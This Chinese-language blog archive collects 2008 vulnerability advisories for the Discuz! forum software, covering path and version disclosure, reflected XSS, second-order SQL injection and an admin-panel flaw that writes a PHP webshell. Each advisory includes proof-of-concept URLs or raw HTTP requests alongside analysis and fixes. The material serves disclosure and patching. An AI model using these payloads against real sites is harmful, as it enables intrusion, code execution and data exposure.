存档

文章标签 ‘BUG’

Discuz! 路径信息泄露 bug

2008年11月5日 没有评论 66 views

由于Discuz! cache file的数组$_DCACHE,$_CACHE等的变量名没有初始化导致路径信息泄露.
author: 80vul-A
team:http://www.80vul.com

一 分析
目录\uc_client\data\cache\,\forumdata\cache等下面的文件里对如:

$_CACHE['settings'] = array (
'accessemail' => '',
'censoremail' => '',
'censorusername' => '',
'dateformat' => 'y-n-j',
'doublee' => '1',
'nextnotetime' => '0',
'timeoffset' => '28800',
);

$_DCACHE['settings'] = array (
'accessemail' => '',
'adminipaccess' => '',
'admode' => '1',
'archiverstatus' => '1',
'attachbanperiods' => '',
'attachimgpost' => '1',

数组$_DCACHE,$_CACHE等没有初始化,其实dz的安全人员已经考虑到了这个问题,如在include\common.inc.php

$_DCOOKIE = $_DSESSION = $_DCACHE = $_DPLUGIN = $advlist = array();但是想对于独立的Discuz! cache file并没有初始化,当我们提交?_CACHE=1 或者_DCACHE=2 导致错误而暴露路径等信息.

二 利用

poc如:

http://www.80vul.com/bbs/forumdata/cache/cache_usergroups.php?_DCACHE=1

Notice: Array to string conversion in xxx\forumdata\cache\cache_usergroups.php on line 6

三 补丁[fix]

等待官方补丁.

分类: 技术文章 标签: ,

Discuz! member.php xss bug

2008年11月5日 没有评论 88 views

由于Discuz!的member.php对$listgid并没有初始化导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

一 分析

member.php代码:


if(!empty($listgid) && ($listgid == intval($_GET['listgid']))) {
//这里用的等于[==]而不是全等[===]进行的比较,且$listgid并没有初始化:)
$type = $adminid == 1 ? 'grouplist' : $type;
} else {
$listgid = '';
}
...
$multipage = multi($num, $memberperpage, $page, "member.php?action=list&listgid=$listgid&srchmem=".rawurlencode($srchmem)."&order=$order&type=$type", $membermaxpages);

二 利用

poc:

poc:
http://www.80vul.com/bbs/member.php?action=list&listgid=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
会员列表页面存在分页时触发

三 补丁[fix]

刚发布的dz7 bt版本[1]已经fix这个漏洞了:

if(!empty($listgid) && ($listgid = intval($_GET['listgid']))) {
$type = $adminid == 1 ? 'grouplist' : $type;
} else {
$listgid = '';
}

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

分类: 技术文章 标签: , ,

Discuz! admin\runwizard.inc.php get-webshell bug

2008年11月4日 没有评论 92 views

author: 80vul-A
team:http://www.80vul.com

由于Discuz!的admin\runwizard.inc.php里saverunwizardhistory()写文件操作没有限制导致执行代码漏洞.

一 分析

在文件admin\runwizard.inc.php里代码:

$runwizardhistory = array();
$runwizardfile = DISCUZ_ROOT.'./forumdata/logs/runwizardlog.php';
if($fp = @fopen($runwizardfile, 'r')) {
$runwizardhistory = @unserialize(fread($fp, 99999));
fclose($fp);
}
.......

if(submitcheck('step1submit')) {
$runwizardhistory['step1']['size'] = $size;
$runwizardhistory['step1']['safe'] = $safe;
$runwizardhistory['step1']['func'] = $func;
saverunwizardhistory();
}
........

function saverunwizardhistory() {
global $runwizardfile, $runwizardhistory;
$fp = fopen($runwizardfile, 'w');
fwrite($fp, serialize($runwizardhistory));
fclose($fp);
}

上面代码可以看出来当有后台权限时,可以直接得到webshell.如果结合xss[如:SODB-2008-01,SODB-2008-02..等] crsf[如:SODB-2008-03]等漏洞,可以直接通过admin身份远程写入webshell执行代码.

二 利用

poc:

POST /bbs/admincp.php?action=runwizard&step=3 HTTP/1.1
Host: www.80vul.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset: gb2312,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.80vul.com/bbs/admincp.php?action=runwizard&step=2
Cookie:
Content-Type: application/x-www-form-urlencoded
Content-Length: 207

formhash=a1ae055f&anchor=&settingsnew%5Bbbname%5D=%3C%3Fphpinfo%28%29%3B%3F%3E&settingsnew%5Bsitename%5D=Comsenz+Inc.&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%CF%C2%D2%BB%B2%BD

webshell:

http://www.80vul.com/bbs/forumdata/logs/runwizardlog.php

三 补丁[fix]

今天发布的dz7 bt版本[1]已经fix这个漏洞了:

function saverunwizardhistory() {
global $runwizardfile, $runwizardhistory;
$fp = fopen($runwizardfile, 'w');
$s = '<?php exit;?>';
$s .= serialize($runwizardhistory);
fwrite($fp, $s);
fclose($fp);
}

[1]:http://download.comsenz.com/Discuz/7.0.0Beta/Discuz_7_Beta_SC_GBK.zip

分类: 技术文章 标签: ,

Discuz! moderation.inc.php 数据库'注射' bug

2008年11月3日 没有评论 59 views

由于Discuz!d的include/moderation.inc.php存在一个'二次攻击'导致数据库'注射'的bug
author: 80vul-B
team:http://www.80vul.com

一 分析

在文件include/moderation.inc.php里代码:

$threadlist = $loglist = array();
if($tids = implodeids($moderate)) {
$query = $db->query("SELECT * FROM {$tablepre}threads WHERE tid IN ($tids) AND fid='$fid' AND displayorder>='0' AND digest>='0' LIMIT $tpp");
while($thread = $db->fetch_array($query)) {
...
$threadlist[$thread['tid']] = $thread;
...
foreach($threadlist as $tid => $thread) {
...
if($type == 'redirect') {
$db->query("INSERT INTO {$tablepre}threads (fid, readperm, iconid, author, authorid, subject, dateline, lastpost, lastposter, views, replies, displayorder, digest, closed, special, attachment)
VALUES ('$thread[fid]', '$thread[readperm]', '$thread[iconid]', '".addslashes($thread['author'])."', '$thread[authorid]', '".addslashes($thread['subject'])."', '$thread[dateline]', '$thread[dblastpost]', '$thread[lastposter]', '0', '0', '0', '0', '$thread[tid]', '0', '0')");

这个比较明显,从数据库查询出的值$thread[lastposter]直接带入了insert语句中,导致了注射:)
这个看上去比上面的那个用处大些,其实有很多的限制.首先$thread[lastposter]是从数据库中查询出来的值,有字数限制[不能大于15个字符];其次,这个地方需要版主权限才能操作.

二 利用

注册新用户,用户名为80vul',发表新回复,然后用拥有版主权限的账号将此帖转移,移动方式选为[移动主题并在原来的版块中保留转向],和上面的效果一样,执行时数据库报错了:)

三 补丁[fix]
等待官方补丁.

分类: 技术文章 标签: ,

Discuz! trade.php 数据库'注射' bug

2008年11月3日 没有评论 63 views

由于Discuz!d的trade.php里的$message处理不严格导致引起数据库操作错误,通过SODB-2008-06而导致xss攻击及数据库信息泄露的漏洞.
author: 80vul-B
team:http://www.80vul.com

一 分析

文件trade.php:


$message = trim($message);
if($message) {
$message = daddslashes($tradelog['message'], 1)."\t\t\t".$discuz_uid."\t".$discuz_user."\t".$timestamp."\t".nl2br(strip_tags(substr($message, 0, 200)));
//$message用substr处理了下,取前200个字符
} else {
$message = daddslashes($tradelog['message'], 1);
}

$db->query("UPDATE {$tablepre}tradelog SET status='$offlinestatus', lastupdate='$timestamp', message='$message' WHERE orderid='$orderid'");
//这个地方$message直接进入sql语句了:)
showmessage('trade_orderstatus_updated', 'trade.php?orderid='.$orderid);
}

把199个A和一个'赋值给message,经过gpc处理后$message的值为199个A和\',在经过substr的处理变为199个A和\,这样带入sql语句,执行时就会报错了:).由于$orderid被过滤导致没有办法利用这个进行'有效'的sql注射漏洞,但是可以利用mysql的错误信息得到表名的前缀等信息,还有就是可能通过进行xss攻击?

二 利用

poc:

POST discuz/trade.php/<script>alert(/xss/)</script>?orderid=20081101133833f8ePgzOquj6UdcKUVq HTTP/1.1
Accept: */*
Accept-Language: zh-cn
Referer: http://127.0.0.1/discuz/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)
Host: 127.0.0.1
Cookie: pbK_auth=488bbzQZdkZGTyZFGMWesQH%2BAKOb5YMEQOhJ6qQC9YuWhZWtHn4wduYOvNf9b%2BLYe7g3rPPH%2FEi1HspTnSCZow
Content-Length: 426
Content-Type: application/x-www-form-urlencoded
Connection: Close

formhash=b674a3cd&password=123456&message=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27&offlinestatus=4&offlinesubmit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2&newnumber=1&newbuyername=80vul&newbuyercontact=80vul&newbuyerzip=12345&newbuyerphone=123122&newbuyermobile=121312312

三 补丁[fix]
等待官方补丁

分类: 技术文章 标签: ,

Discuz! 数据库错误信息xss bug

2008年11月3日 没有评论 61 views

由于Discuz!在处理数据库的错误信息时对$GLOBALS['PHP_SELF']没有过滤,导致在让数据库出错的情况下导致xss攻击.
author: 80vul-B
team:http://www.80vul.com

一 分析

在文件include\db_mysql_error.inc.php里代码:


if($message) {
$errmsg = "<b>Discuz! info</b>: $message\n\n";
}
if(isset($GLOBALS['_DSESSION']['discuz_user'])) {
$errmsg .= "<b>User</b>: ".htmlspecialchars($GLOBALS['_DSESSION']['discuz_user'])."\n";
}
$errmsg .= "<b>Time</b>: ".gmdate("Y-n-j g:ia", $timestamp + ($GLOBALS['timeoffset'] * 3600))."\n";
$errmsg .= "<b>Script</b>: ".$GLOBALS['PHP_SELF']."\n\n";
if($sql) {
$errmsg .= "<b>SQL</b>: ".htmlspecialchars($sql)."\n";
}
$errmsg .= "<b>Error</b>:  $dberror\n";
$errmsg .= "<b>Errno.</b>:  $dberrno";

$GLOBALS['PHP_SELF']确实过滤,导致在出现sql错误信息时利用$GLOBALS['PHP_SELF']进行xss攻击.

二 利用

需要结合其他的让出现错误信息的漏洞.

三 补丁[fix]

过滤$GLOBALS['PHP_SELF']

分类: 技术文章 标签: , ,

Discuz! cache.func.php 信息泄漏 bug

2008年11月3日 没有评论 54 views

由于Discuz!的\include\cache.func.php缺少访问限制导致版本及补丁消息的泄露.
author: 80vul-A
team:http://www.80vul.com

漏洞存在于文件\include\cache.func.php里的代码如下:

define('DISCUZ_KERNEL_VERSION', '6.1.0');
define('DISCUZ_KERNEL_RELEASE', '20080418');

if(isset($_GET['kernel_version'])) {
exit('Crossday Discuz! Board<br />Developed by Comsenz Inc.<br /><br />Version: '.DISCUZ_KERNEL_VERSION.'<br />Release: '.DISCUZ_KERNEL_RELEASE);
} elseif(!defined('IN_DISCUZ')) {
exit('Access Denied');
}

提交kernel_version的时会显示版本及补丁信息,如果攻击者结合google-hacking等技术很容易找到没有升级的程序,导致mass类攻击.

poc:

http://www.discuz.net/include/cache.func.php?kernel_version=1

显示:

Crossday Discuz! Board
Developed by Comsenz Inc.

Version: 7.0.0
Release: 20081031

[难道官方是打算1031发布7.00,不知道杂的又推迟了:(]

分类: 技术文章 标签: ,

Discuz! admincp.php xss bug

2008年11月3日 没有评论 92 views

由于Discuz!的后台登陆文件$url_forward没有过滤导致一个严重的xss bug.
author: 80vul-B
team:http://www.80vul.com

漏洞存在于文件admin/login.inc.php里$url_forward没有被过滤导致xss漏洞:

<input type="hidden" name="url_forward" value="$url_forward">

poc:
http://127.0.0.1/discuz/admincp.php?url_forward=%22%3E%3Cscript%3Ealert(/xss/)%3C/script%3E
[管理员或版主前台登录,但未登录后台时触发]

分类: 技术文章 标签: , ,